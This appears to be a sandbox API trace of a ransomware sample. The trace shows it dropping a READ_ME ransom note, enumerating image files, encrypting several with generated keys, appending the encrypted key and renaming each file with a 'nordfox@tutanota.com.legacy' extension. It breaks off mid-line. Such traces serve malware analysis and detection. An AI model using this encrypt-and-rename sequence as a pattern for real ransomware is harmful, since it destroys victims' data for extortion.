[0112.650] SetLastError (dwErrCode=0x0) [0112.650] GetLastError () returned 0x0 [0112.651] SetLastError (dwErrCode=0x0) [0112.651] CreateFileW (lpFileName="\\Users\\FD1HVy\\Pictures\\Saved Pictures\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\pictures\\saved pictures\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x600 [0112.652] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x567508 | out: hHeap=0x520000) returned 1 [0112.652] WriteFile (in: hFile=0x600, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0112.654] CloseHandle (hObject=0x600) returned 1 [0112.654] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559fb8 | out: hHeap=0x520000) returned 1 [0112.654] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3508 | out: hHeap=0x520000) returned 1 [0112.654] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c34b8 | out: hHeap=0x520000) returned 1 [0112.654] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d9d0 | out: hHeap=0x520000) returned 1 [0112.654] FindNextFileW (in: hFindFile=0x5c6158, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x117e6800, ftCreationTime.dwHighDateTime=0x1d4c9fe, ftLastAccessTime.dwLowDateTime=0x9da7c4e0, ftLastAccessTime.dwHighDateTime=0x1d4d51e, ftLastWriteTime.dwLowDateTime=0x9da7c4e0, ftLastWriteTime.dwHighDateTime=0x1d4d51e, nFileSizeHigh=0x0, nFileSizeLow=0xa0b0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="txhWwLGlcdRnJZt.bmp", cAlternateFileName="TXHWWL~1.BMP")) returned 1 [0112.654] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5599e0 | out: hHeap=0x520000) returned 1 [0112.654] GetLastError () returned 0x0 [0112.654] SetLastError (dwErrCode=0x0) [0112.654] GetLastError () returned 0x0 [0112.655] SetLastError (dwErrCode=0x0) [0112.655] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578968 | out: hHeap=0x520000) returned 1 [0112.655] GetLastError () returned 0x0 [0112.655] SetLastError (dwErrCode=0x0) [0112.655] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x566c80 | out: hHeap=0x520000) returned 1 [0112.655] FindNextFileW (in: hFindFile=0x5c6158, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79466c00, ftCreationTime.dwHighDateTime=0x1d4cf3d, ftLastAccessTime.dwLowDateTime=0xa79fbcc0, ftLastAccessTime.dwHighDateTime=0x1d4d3d7, ftLastWriteTime.dwLowDateTime=0xa79fbcc0, ftLastWriteTime.dwHighDateTime=0x1d4d3d7, nFileSizeHigh=0x0, nFileSizeLow=0x17ad1, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="u9P2rhycg_L5FHzE-kU.png", cAlternateFileName="U9P2RH~1.PNG")) returned 1 [0112.655] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5599e0 | out: hHeap=0x520000) returned 1 [0112.655] GetLastError () returned 0x0 [0112.655] SetLastError (dwErrCode=0x0) [0112.655] GetLastError () returned 0x0 [0112.655] SetLastError (dwErrCode=0x0) [0112.655] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578188 | out: hHeap=0x520000) returned 1 [0112.655] GetLastError () returned 0x0 [0112.655] SetLastError (dwErrCode=0x0) [0112.656] FindNextFileW (in: hFindFile=0x5c6158, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5db623a0, ftCreationTime.dwHighDateTime=0x1d4d5bd, ftLastAccessTime.dwLowDateTime=0xe1a79d10, ftLastAccessTime.dwHighDateTime=0x1d4d5cc, ftLastWriteTime.dwLowDateTime=0xe1a79d10, ftLastWriteTime.dwHighDateTime=0x1d4d5cc, nFileSizeHigh=0x0, nFileSizeLow=0x127c0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="US-p7wF9_QEE9NOfQU.bmp", cAlternateFileName="US-P7W~1.BMP")) returned 1 [0112.656] SetLastError (dwErrCode=0x0) [0112.656] GetLastError () returned 0x0 [0112.656] SetLastError (dwErrCode=0x0) [0112.656] SetLastError (dwErrCode=0x0) [0112.656] FindNextFileW (in: hFindFile=0x5c6158, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9a4e0ac0, ftCreationTime.dwHighDateTime=0x1d4c966, ftLastAccessTime.dwLowDateTime=0x9d69f330, ftLastAccessTime.dwHighDateTime=0x1d4c665, ftLastWriteTime.dwLowDateTime=0x9d69f330, ftLastWriteTime.dwHighDateTime=0x1d4c665, nFileSizeHigh=0x0, nFileSizeLow=0x145ab, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="vAFDzHd.jpg", cAlternateFileName="")) returned 1 [0112.656] SetLastError (dwErrCode=0x0) [0112.656] GetLastError () returned 0x0 [0112.656] SetLastError (dwErrCode=0x0) [0112.656] SetLastError (dwErrCode=0x0) [0112.656] FindNextFileW (in: hFindFile=0x5c6158, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4ab2e10, ftCreationTime.dwHighDateTime=0x1d4d274, ftLastAccessTime.dwLowDateTime=0x4c32cfe0, ftLastAccessTime.dwHighDateTime=0x1d4c91d, ftLastWriteTime.dwLowDateTime=0x4c32cfe0, ftLastWriteTime.dwHighDateTime=0x1d4c91d, nFileSizeHigh=0x0, nFileSizeLow=0x674c, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="vb16RFycCzBr.gif", cAlternateFileName="VB16RF~1.GIF")) returned 1 [0112.656] SetLastError (dwErrCode=0x0) [0112.656] GetLastError () returned 0x0 [0112.656] SetLastError (dwErrCode=0x0) [0112.656] SetLastError (dwErrCode=0x0) [0112.657] FindNextFileW (in: hFindFile=0x5c6158, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x108acd0, ftCreationTime.dwHighDateTime=0x1d4c5e7, ftLastAccessTime.dwLowDateTime=0xf9e4fb80, ftLastAccessTime.dwHighDateTime=0x1d4d58f, ftLastWriteTime.dwLowDateTime=0xf9e4fb80, ftLastWriteTime.dwHighDateTime=0x1d4d58f, nFileSizeHigh=0x0, nFileSizeLow=0xf76a, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="vESygKFEw3H8fAf b6Sm.bmp", cAlternateFileName="VESYGK~1.BMP")) returned 1 [0112.657] SetLastError (dwErrCode=0x0) [0112.657] GetLastError () returned 0x0 [0112.657] SetLastError (dwErrCode=0x0) [0112.657] SetLastError (dwErrCode=0x0) [0112.657] FindNextFileW (in: hFindFile=0x5c6158, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce50cbc0, ftCreationTime.dwHighDateTime=0x1d4c711, ftLastAccessTime.dwLowDateTime=0xcc8100c0, ftLastAccessTime.dwHighDateTime=0x1d4d4e6, ftLastWriteTime.dwLowDateTime=0xcc8100c0, ftLastWriteTime.dwHighDateTime=0x1d4d4e6, nFileSizeHigh=0x0, nFileSizeLow=0x135a, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="wj5hOjaKvc3l.gif", cAlternateFileName="WJ5HOJ~1.GIF")) returned 1 [0112.657] SetLastError (dwErrCode=0x0) [0112.657] GetLastError () returned 0x0 [0112.657] SetLastError (dwErrCode=0x0) [0112.657] SetLastError (dwErrCode=0x0) [0112.657] FindNextFileW (in: hFindFile=0x5c6158, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcb930710, ftCreationTime.dwHighDateTime=0x1d4ccbe, ftLastAccessTime.dwLowDateTime=0x70d3e8b0, ftLastAccessTime.dwHighDateTime=0x1d4c7de, ftLastWriteTime.dwLowDateTime=0x70d3e8b0, ftLastWriteTime.dwHighDateTime=0x1d4c7de, nFileSizeHigh=0x0, nFileSizeLow=0x9cf0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="wSbq8vmAYt.gif", cAlternateFileName="WSBQ8V~1.GIF")) returned 1 [0112.657] SetLastError (dwErrCode=0x0) [0112.657] GetLastError () returned 0x0 [0112.657] SetLastError (dwErrCode=0x0) [0112.657] SetLastError (dwErrCode=0x0) [0112.658] FindNextFileW (in: hFindFile=0x5c6158, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x21a3fdc0, ftCreationTime.dwHighDateTime=0x1d4c77a, ftLastAccessTime.dwLowDateTime=0x6dea3630, ftLastAccessTime.dwHighDateTime=0x1d4cff5, ftLastWriteTime.dwLowDateTime=0x6dea3630, ftLastWriteTime.dwHighDateTime=0x1d4cff5, nFileSizeHigh=0x0, nFileSizeLow=0x115ff, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="xdLZCcA.jpg", cAlternateFileName="")) returned 1 [0112.658] SetLastError (dwErrCode=0x0) [0112.658] GetLastError () returned 0x0 [0112.658] SetLastError (dwErrCode=0x0) [0112.658] SetLastError (dwErrCode=0x0) [0112.658] FindNextFileW (in: hFindFile=0x5c6158, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb12a37c0, ftCreationTime.dwHighDateTime=0x1d4d1ca, ftLastAccessTime.dwLowDateTime=0xc8ac20e0, ftLastAccessTime.dwHighDateTime=0x1d4c5c5, ftLastWriteTime.dwLowDateTime=0xc8ac20e0, ftLastWriteTime.dwHighDateTime=0x1d4c5c5, nFileSizeHigh=0x0, nFileSizeLow=0xa00c, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="Xkq.png", cAlternateFileName="")) returned 1 [0112.658] SetLastError (dwErrCode=0x0) [0112.658] GetLastError () returned 0x0 [0112.658] SetLastError (dwErrCode=0x0) [0112.658] GetLastError () returned 0x0 [0112.658] SetLastError (dwErrCode=0x0) [0112.658] FindNextFileW (in: hFindFile=0x5c6158, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbd71f740, ftCreationTime.dwHighDateTime=0x1d4c5a7, ftLastAccessTime.dwLowDateTime=0xceaceb20, ftLastAccessTime.dwHighDateTime=0x1d4c9a6, ftLastWriteTime.dwLowDateTime=0xceaceb20, ftLastWriteTime.dwHighDateTime=0x1d4c9a6, nFileSizeHigh=0x0, nFileSizeLow=0x52a6, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="xmF7RJJsPl3wxg.bmp", cAlternateFileName="XMF7RJ~1.BMP")) returned 1 [0112.658] SetLastError (dwErrCode=0x0) [0112.658] GetLastError () returned 0x0 [0112.658] SetLastError (dwErrCode=0x0) [0112.658] SetLastError (dwErrCode=0x0) [0112.658] FindNextFileW (in: hFindFile=0x5c6158, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x58039d00, ftCreationTime.dwHighDateTime=0x1d4d4e8, ftLastAccessTime.dwLowDateTime=0xb6a358e0, ftLastAccessTime.dwHighDateTime=0x1d4d2e1, ftLastWriteTime.dwLowDateTime=0xb6a358e0, ftLastWriteTime.dwHighDateTime=0x1d4d2e1, nFileSizeHigh=0x0, nFileSizeLow=0x13eba, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="Z-dg1UW6oVjp.bmp", cAlternateFileName="Z-DG1U~1.BMP")) returned 1 [0112.658] SetLastError (dwErrCode=0x0) [0112.659] GetLastError () returned 0x0 [0112.659] SetLastError (dwErrCode=0x0) [0112.659] SetLastError (dwErrCode=0x0) [0112.659] FindNextFileW (in: hFindFile=0x5c6158, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9952fde0, ftCreationTime.dwHighDateTime=0x1d4cd14, ftLastAccessTime.dwLowDateTime=0x91938170, ftLastAccessTime.dwHighDateTime=0x1d4d45c, ftLastWriteTime.dwLowDateTime=0x91938170, ftLastWriteTime.dwHighDateTime=0x1d4d45c, nFileSizeHigh=0x0, nFileSizeLow=0x10db6, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="z_jYiB5W6TpBP3FH8O.png", cAlternateFileName="Z_JYIB~1.PNG")) returned 1 [0112.659] SetLastError (dwErrCode=0x0) [0112.659] GetLastError () returned 0x0 [0112.659] SetLastError (dwErrCode=0x0) [0112.659] SetLastError (dwErrCode=0x0) [0112.659] FindNextFileW (in: hFindFile=0x5c6158, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9952fde0, ftCreationTime.dwHighDateTime=0x1d4cd14, ftLastAccessTime.dwLowDateTime=0x91938170, ftLastAccessTime.dwHighDateTime=0x1d4d45c, ftLastWriteTime.dwLowDateTime=0x91938170, ftLastWriteTime.dwHighDateTime=0x1d4d45c, nFileSizeHigh=0x0, nFileSizeLow=0x10db6, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="z_jYiB5W6TpBP3FH8O.png", cAlternateFileName="Z_JYIB~1.PNG")) returned 0 [0112.659] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4428 | out: pbBuffer=0x5c4428) returned 1 [0112.659] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3538 | out: pbBuffer=0x5c3538) returned 1 [0112.659] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\Pictures\\z_jYiB5W6TpBP3FH8O.png", dwFileAttributes=0x80) returned 1 [0112.659] CreateFileW (lpFileName="\\Users\\FD1HVy\\Pictures\\z_jYiB5W6TpBP3FH8O.png" (normalized: "c:\\users\\fd1hvy\\pictures\\z_jyib5w6tpbp3fh8o.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x600 [0112.660] GetFileSizeEx (in: hFile=0x600, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=69046) returned 1 [0112.660] ReadFile (in: hFile=0x600, lpBuffer=0x5e9bd0, nNumberOfBytesToRead=0x10db6, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5e9bd0*, lpNumberOfBytesRead=0x2e1f9bc*=0x10db6, lpOverlapped=0x0) returned 1 [0112.665] SetFilePointer (in: hFile=0x600, lDistanceToMove=-69046, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0112.665] WriteFile (in: hFile=0x600, lpBuffer=0x5fa990*, nNumberOfBytesToWrite=0x10db6, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5fa990*, lpNumberOfBytesWritten=0x2e1f9bc*=0x10db6, lpOverlapped=0x0) returned 1 [0112.667] SetFilePointer (in: hFile=0x600, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x10db6 [0112.667] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0112.667] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4428*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4428*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0112.668] WriteFile (in: hFile=0x600, lpBuffer=0x5c4428*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4428*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0112.668] WriteFile (in: hFile=0x600, lpBuffer=0x5c3538*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3538*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0112.669] CloseHandle (hObject=0x600) returned 1 [0112.669] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c4428 | out: hHeap=0x520000) returned 1 [0112.669] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3538 | out: hHeap=0x520000) returned 1 [0112.669] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\Pictures\\z_jYiB5W6TpBP3FH8O.png" (normalized: "c:\\users\\fd1hvy\\pictures\\z_jyib5w6tpbp3fh8o.png"), lpNewFileName="\\Users\\FD1HVy\\Pictures\\z_jYiB5W6TpBP3FH8O.png.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\pictures\\z_jyib5w6tpbp3fh8o.png.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0112.673] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e8088 | out: hHeap=0x520000) returned 1 [0112.673] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57e380 | out: hHeap=0x520000) returned 1 [0112.673] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57e930 | out: hHeap=0x520000) returned 1 [0112.673] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56df50 [0112.673] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c5190 [0112.673] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c34b8 [0112.673] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c5190 | out: pbBuffer=0x5c5190) returned 1 [0112.674] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c34b8 | out: pbBuffer=0x5c34b8) returned 1 [0112.674] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\Pictures\\Z-dg1UW6oVjp.bmp", dwFileAttributes=0x80) returned 1 [0112.674] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56dd98 [0112.674] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xb0) returned 0x5e84d8 [0112.674] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56dd98 | out: hHeap=0x520000) returned 1 [0112.674] CreateFileW (lpFileName="\\Users\\FD1HVy\\Pictures\\Z-dg1UW6oVjp.bmp" (normalized: "c:\\users\\fd1hvy\\pictures\\z-dg1uw6ovjp.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x600 [0112.674] GetFileSizeEx (in: hFile=0x600, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=81594) returned 1 [0112.674] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x13eba) returned 0x5e9bd0 [0112.674] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x13eba) returned 0x5fda98 [0112.674] ReadFile (in: hFile=0x600, lpBuffer=0x5e9bd0, nNumberOfBytesToRead=0x13eba, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5e9bd0*, lpNumberOfBytesRead=0x2e1f9bc*=0x13eba, lpOverlapped=0x0) returned 1 [0112.678] SetFilePointer (in: hFile=0x600, lDistanceToMove=-81594, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0112.678] WriteFile (in: hFile=0x600, lpBuffer=0x5fda98*, nNumberOfBytesToWrite=0x13eba, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5fda98*, lpNumberOfBytesWritten=0x2e1f9bc*=0x13eba, lpOverlapped=0x0) returned 1 [0112.678] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e9bd0 | out: hHeap=0x520000) returned 1 [0112.679] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5fda98 | out: hHeap=0x520000) returned 1 [0112.680] SetFilePointer (in: hFile=0x600, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x13eba [0112.680] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0112.680] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c5190*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c5190*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0112.681] WriteFile (in: hFile=0x600, lpBuffer=0x5c5190*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c5190*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0112.681] WriteFile (in: hFile=0x600, lpBuffer=0x5c34b8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c34b8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0112.681] CloseHandle (hObject=0x600) returned 1 [0112.681] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c5190 | out: hHeap=0x520000) returned 1 [0112.682] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c34b8 | out: hHeap=0x520000) returned 1 [0112.682] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\Pictures\\Z-dg1UW6oVjp.bmp" (normalized: "c:\\users\\fd1hvy\\pictures\\z-dg1uw6ovjp.bmp"), lpNewFileName="\\Users\\FD1HVy\\Pictures\\Z-dg1UW6oVjp.bmp.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\pictures\\z-dg1uw6ovjp.bmp.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0112.686] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e84d8 | out: hHeap=0x520000) returned 1 [0112.686] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56df50 | out: hHeap=0x520000) returned 1 [0112.686] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56dd40 | out: hHeap=0x520000) returned 1 [0112.686] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x57e790 [0112.686] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c3f00 [0112.686] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c33c8 [0112.686] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c3f00 | out: pbBuffer=0x5c3f00) returned 1 [0112.686] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c33c8 | out: pbBuffer=0x5c33c8) returned 1 [0112.686] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\Pictures\\xmF7RJJsPl3wxg.bmp", dwFileAttributes=0x80) returned 1 [0112.687] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x57e7f8 [0112.687] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xb0) returned 0x5e8088 [0112.687] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57e7f8 | out: hHeap=0x520000) returned 1 [0112.687] CreateFileW (lpFileName="\\Users\\FD1HVy\\Pictures\\xmF7RJJsPl3wxg.bmp" (normalized: "c:\\users\\fd1hvy\\pictures\\xmf7rjjspl3wxg.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x600 [0112.687] GetFileSizeEx (in: hFile=0x600, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=21158) returned 1 [0112.687] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x52a6) returned 0x5e9bd0 [0112.687] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x52a6) returned 0x5eee80 [0112.687] ReadFile (in: hFile=0x600, lpBuffer=0x5e9bd0, nNumberOfBytesToRead=0x52a6, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5e9bd0*, lpNumberOfBytesRead=0x2e1f9bc*=0x52a6, lpOverlapped=0x0) returned 1 [0112.689] SetFilePointer (in: hFile=0x600, lDistanceToMove=-21158, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0112.689] WriteFile (in: hFile=0x600, lpBuffer=0x5eee80*, nNumberOfBytesToWrite=0x52a6, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5eee80*, lpNumberOfBytesWritten=0x2e1f9bc*=0x52a6, lpOverlapped=0x0) returned 1 [0112.689] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e9bd0 | out: hHeap=0x520000) returned 1 [0112.689] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5eee80 | out: hHeap=0x520000) returned 1 [0112.689] SetFilePointer (in: hFile=0x600, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x52a6 [0112.689] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0112.689] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c3f00*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c3f00*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0112.689] WriteFile (in: hFile=0x600, lpBuffer=0x5c3f00*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3f00*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0112.689] WriteFile (in: hFile=0x600, lpBuffer=0x5c33c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c33c8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0112.690] CloseHandle (hObject=0x600) returned 1 [0112.690] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3f00 | out: hHeap=0x520000) returned 1 [0112.690] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c33c8 | out: hHeap=0x520000) returned 1 [0112.690] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\Pictures\\xmF7RJJsPl3wxg.bmp" (normalized: "c:\\users\\fd1hvy\\pictures\\xmf7rjjspl3wxg.bmp"), lpNewFileName="\\Users\\FD1HVy\\Pictures\\xmF7RJJsPl3wxg.bmp.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\pictures\\xmf7rjjspl3wxg.bmp.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0112.693] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e8088 | out: hHeap=0x520000) returned 1 [0112.693] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57e790 | out: hHeap=0x520000) returned 1 [0112.693] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57e318 | out: hHeap=0x520000) returned 1 [0112.693] RtlAllocateHeap 